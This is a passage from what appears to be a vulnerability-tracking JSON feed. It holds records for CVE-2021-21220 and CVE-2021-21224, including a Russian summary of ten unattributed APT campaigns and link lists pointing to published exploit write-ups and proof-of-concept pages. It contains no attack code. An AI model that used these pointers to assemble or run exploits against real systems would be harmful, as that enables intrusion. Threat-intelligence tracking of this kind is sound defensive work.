\u043c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u0430 \u043e\u0431\u043e\u0440\u043e\u043d\u044b \u0421\u0435\u0440\u0431\u0438\u0438. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0430 \u043f\u0440\u0435\u0436\u0434\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u043e\u0439 TENSHO, \u0438\u043b\u0438 White Tur. \u0413\u0440\u0443\u043f\u043f\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0430 \u0441 2017\u00a0\u0433\u043e\u0434\u0430 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0435 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438 OpenHardwareMonitor, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 TENSHO \u0432 \u0444\u043e\u0440\u043c\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 PowerShell \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0434\u043b\u044f Windows. \n\n 7.  PlexingEagle. \u041d\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 HITBSec 2017 \u0432 \u0410\u043c\u0441\u0442\u0435\u0440\u0434\u0430\u043c\u0435 \u042d\u043c\u043c\u0430\u043d\u0443\u044d\u043b\u044c \u0413\u0430\u0434\u044d (Emmanuel Gadaix) \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u043a\u0440\u0430\u0439\u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u043d\u0430\u0431\u043e\u0440\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430 \u0432 GSM-\u0441\u0435\u0442\u044f\u0445.\n\n 8. SinSono. \u0412 \u043c\u0430\u0435 2021\u00a0\u0433\u043e\u0434\u0430 \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Syniverse \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0432\u043e\u0438\u043c IT-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c. \u0412\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u0430\u043a\u0442\u043e\u0440 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u0440\u043e\u043d\u0438\u043a \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0435\u0449\u0435 \u0432 2016\u00a0\u0433\u043e\u0434\u0443. \u0412 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u044f\u0442\u0438 \u043b\u0435\u0442, \u043e\u0441\u0442\u0430\u0432\u0430\u044f\u0441\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u043c\u043e\u0433 \u0443\u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0440\u0435\u0434\u0443 EDT \u0443 235\u00a0\u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0445, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f  \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u043e\u0432 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u0441\u043c\u0441.\n\n9. MagicScroll - \u0441\u043b\u043e\u0436\u043d\u044b\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a, \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0432 2019\u00a0\u0433\u043e\u0434\u0443 Palo Alto. \u042d\u0442\u043e \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0436\u0435\u0440\u0442\u0432\u0430 (\u0438\u0437 \u0420\u043e\u0441\u0441\u0438\u0438) \u0431\u044b\u043b\u0430 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u0430 \u0432 2017\u00a0\u0433\u043e\u0434\u0443. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0433\u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d. \u041f\u0435\u0440\u0432\u044b\u0439 \u044d\u0442\u0430\u043f\u00a0- \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0441\u043e\u0437\u0434\u0430\u043d \u043a\u0430\u043a \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0415\u0433\u043e \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 - \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0430 \u043c\u043e\u0434\u0443\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c VirtualBox \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u044f\u0434\u0440\u0430.\n\n10. Metador \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0431\u044b\u043b\u0430 \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 SentinelLabs \u0432 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 2022\u00a0\u0433\u043e\u0434\u0430. \u0410\u0442\u0430\u043a\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u0438 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u044b \u0432 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0411\u043b\u0438\u0436\u043d\u0435\u0433\u043e \u0412\u043e\u0441\u0442\u043e\u043a\u0430 \u0438 \u0410\u0444\u0440\u0438\u043a\u0438. Metador \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0432\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b: metaMain \u0438 Mafalda, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043e\u0431\u043c\u0435\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438 \u0438\u043c\u043f\u043b\u0430\u0442\u0430\u0442\u0430\u043c\u0438.", "creation_timestamp": "2022-10-12T14:38:33.000000Z"}, {"uuid": "2d123972-c3cd-44cc-a99e-91cb1e67ed41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/558", "content": "A deep dive into an NSO zero-click \niMessage #exploit: RCE #ios\nhttps://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html?m=1\n\n#vulnerability in ART that allows normal apps to insert arbitrary code into #android\nhttps://bugs.chromium.org/p/project-zero/issues/detail?id=2227\n\n#exploitation of CVE-2021-21220\nfrom incorrect jit behavior to RCE #chrome\nhttps://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce", "creation_timestamp": "2021-12-17T14:32:23.000000Z"}, {"uuid": "5c58024e-c413-408d-8f33-41e1d18366dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/333", "content": "CVE-2021-21220 Google Chrome XOR Typer \u8d8a\u6b0a\u8a2a\u554f/\u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-21220_Google_Chrome_XOR_Typer_%E8%B6%8A%E6%AC%8A%E8%A8%AA%E5%95%8F/%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-05-05T07:09:48.000000Z"}, {"uuid": "bf00b822-5807-4796-8327-e8eaf007a7c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/true_secator/3545", "content": "\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044f \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u0440\u043e\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u0435\u0442 \u043d\u0430 10 \u0441\u0430\u043c\u044b\u0445 \u0437\u0430\u0433\u0430\u0434\u043e\u0447\u043d\u044b\u0445 APT-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439, \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0431\u0435\u0437 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438.\n\n 1. \u041f\u0440\u043e\u0435\u043a\u0442 TajMahal. \u0421\u043b\u043e\u0436\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u0434\u043b\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 Tokyo \u0438 Yokohama. \u041c\u043e\u0436\u0435\u0442 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0431\u043e\u043b\u0435\u0435 80 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439. TajMahal \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0441\u044f \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 5 \u043b\u0435\u0442 \u0434\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044e.\n\n 2. DarkUniverse\u00a0\u2014 \u0435\u0449\u0435 \u043e\u0434\u0438\u043d APT-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0441 2009 \u043f\u043e 2017\u00a0\u0433\u043e\u0434\u00a0\u0432 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a \u043d\u0430 20 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0441\u043a\u0438\u0445 \u0438 \u0432\u043e\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \u0420\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u0448\u0438\u043d\u0433 \u0438 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0434\u043b\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430.\n\n 3. PuzzleMaker. \u0412 \u0430\u043f\u0440\u0435\u043b\u0435 2021\u00a0\u0433\u043e\u0434\u0430 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0438\u0437 0-day \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432. \u0414\u043b\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c CVE-2021-21224 \u0432 Google Chrome \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441  CVE-2021-31955 \u0438 CVE-2021-31956. \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u043b\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 PuzzleMaker.\n\n 4. ProjectSauron \u0431\u044b\u043b \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0432 2015. \u042f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043b\u043e\u0436\u043d\u043e\u0439 APT-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u043e\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438, \u0418\u0440\u0430\u043d\u0435, \u0420\u0443\u0430\u043d\u0434\u0435. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \n\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u044b. \u0413\u0440\u0443\u043f\u043f\u0430, \u0441\u0442\u043e\u044f\u0449\u0430\u044f \u0437\u0430 ProjectSauron, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u04212-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0441 \u0448\u0438\u0440\u043e\u043a\u0438\u043c \u0440\u044f\u0434\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u0432 \u0421\u0428\u0410 \u0438 \u0415\u0432\u0440\u043e\u043f\u0435. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043e\u043f\u044b\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 APT-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a Duqu, Flame, Equation \u0438 Regin.\n\n 5. USB Thief. \u0412 2016\u00a0\u0433\u043e\u0434\u0443 ESET \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 USB-\u0442\u0440\u043e\u044f\u043d\u0435\u0446 \u0441 \u0445\u0438\u0442\u0440\u044b\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u0441\u0430\u043c\u043e\u0437\u0430\u0449\u0438\u0442\u044b. \u0417\u043b\u043e\u0432\u0440\u0435\u0434 \u0441\u043e\u0441\u0442\u043e\u044f\u043b \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0434\u0432\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c\u0438, \u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0447\u0435\u0442\u044b\u0440\u0435\u00a0\u2014 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c\u0438. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435, \u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0443 AES-128. \u041a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 USB-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0434\u0438\u0441\u043a\u0430. \u0422\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u00a0\u2014 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0438, \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0444\u0430\u0439\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430. \u0423\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0439 USB-\u0434\u0438\u0441\u043a. \u041c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d \u0441 APT-\u0433\u0440\u0443\u043f\u043f\u043e\u0439 Lamberts.\n\n 6. TENSHO (White Tur). \u0412 \u043d\u0430\u0447\u0430\u043b\u0435 2021\u00a0\u0433\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 PwC \u043d\u0430\u0442\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u0430 \u043e\u0431\u043e\u0440\u043e\u043d\u044b \u0421\u0435\u0440\u0431\u0438\u0438. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0430 \u043f\u0440\u0435\u0436\u0434\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u043e\u0439 TENSHO, \u0438\u043b\u0438 White Tur. \u0413\u0440\u0443\u043f\u043f\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0430 \u0441 2017\u00a0\u0433\u043e\u0434\u0430 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0435 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438 OpenHardwareMonitor, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 TENSHO \u0432 \u0444\u043e\u0440\u043c\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 PowerShell \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0434\u043b\u044f Windows. \n\n 7.  PlexingEagle. \u041d\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 HITBSec 2017 \u0432 \u0410\u043c\u0441\u0442\u0435\u0440\u0434\u0430\u043c\u0435 \u042d\u043c\u043c\u0430\u043d\u0443\u044d\u043b\u044c \u0413\u0430\u0434\u044d (Emmanuel Gadaix) \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u043a\u0440\u0430\u0439\u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u043d\u0430\u0431\u043e\u0440\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430 \u0432 GSM-\u0441\u0435\u0442\u044f\u0445.\n\n 8. SinSono. \u0412 \u043c\u0430\u0435 2021\u00a0\u0433\u043e\u0434\u0430 \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f 